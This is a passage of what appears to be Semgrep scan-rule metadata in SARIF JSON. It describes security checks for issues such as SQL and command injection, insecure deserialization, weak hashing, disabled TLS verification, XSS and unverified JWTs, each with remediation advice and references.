[https://docs.microsoft.com/en-us/azure/firewall/rule-processing](https://docs.microsoft.com/en-us/azure/firewall/rule-processing)\n","text":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","id":"terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","name":"terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used."},"help":{"markdown":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification)\n - [https://nodejs.org/api/https.html#https_https_request_options_callback](https://nodejs.org/api/https.html#https_https_request_options_callback)\n - [https://stackoverflow.com/questions/20433287/node-js-request-cert-has-expired#answer-29397100](https://stackoverflow.com/questions/20433287/node-js-request-cert-has-expired#answer-29397100)\n","text":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","id":"terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","name":"terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","id":"java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","name":"java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A specially crafted calldata may be used to impersonate other accounts"},"help":{"markdown":"A specially crafted calldata may be used to impersonate other accounts\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.superfluid-ctx-injection.superfluid-ctx-injection)\n - [https://rekt.news/superfluid-rekt/](https://rekt.news/superfluid-rekt/)\n - [https://medium.com/superfluid-blog/08-02-22-exploit-post-mortem-15ff9c97cdd](https://medium.com/superfluid-blog/08-02-22-exploit-post-mortem-15ff9c97cdd)\n - [https://polygonscan.com/address/0x07711bb6dfbc99a1df1f2d7f57545a67519941e7](https://polygonscan.com/address/0x07711bb6dfbc99a1df1f2d7f57545a67519941e7)\n","text":"A specially crafted calldata may be used to impersonate other accounts"},"helpUri":"https://semgrep.dev/r/solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","id":"solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","name":"solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.superfluid-ctx-injection.superfluid-ctx-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","id":"javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","name":"javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","id":"python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","name":"python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead."},"help":{"markdown":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1)\n - [https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html](https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html)\n - [https://shattered.io/](https://shattered.io/)\n","text":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","id":"ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","name":"ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"help":{"markdown":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none)\n - [https://flask-login.readthedocs.io/en/latest/#session-protection](https://flask-login.readthedocs.io/en/latest/#session-protection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","id":"python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","name":"python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-dsa.cryptography-dsa)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-dsa.cryptography-dsa","id":"python.cryptography.cryptography-dsa.cryptography-dsa","name":"python.cryptography.cryptography-dsa.cryptography-dsa","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-dsa.cryptography-dsa"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"help":{"markdown":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.subprocess-injection.subprocess-injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.subprocess-injection.subprocess-injection","id":"python.flask.security.injection.subprocess-injection.subprocess-injection","name":"python.flask.security.injection.subprocess-injection.subprocess-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.subprocess-injection.subprocess-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","id":"python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","name":"python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","id":"python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","name":"python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.system-command.command-injection-path.command-injection-path)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.system-command.command-injection-path.command-injection-path","id":"cpp.lang.security.system-command.command-injection-path.command-injection-path","name":"cpp.lang.security.system-command.command-injection-path.command-injection-path","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.system-command.command-injection-path.command-injection-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","id":"typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","name":"typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","id":"csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","name":"csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","HIGH CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later."},"help":{"markdown":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.insecure-ssl-version.insecure-ssl-version)\n - [https://www.acunetix.com/blog/web-security-zone/hardening-nginx/](https://www.acunetix.com/blog/web-security-zone/hardening-nginx/)\n - 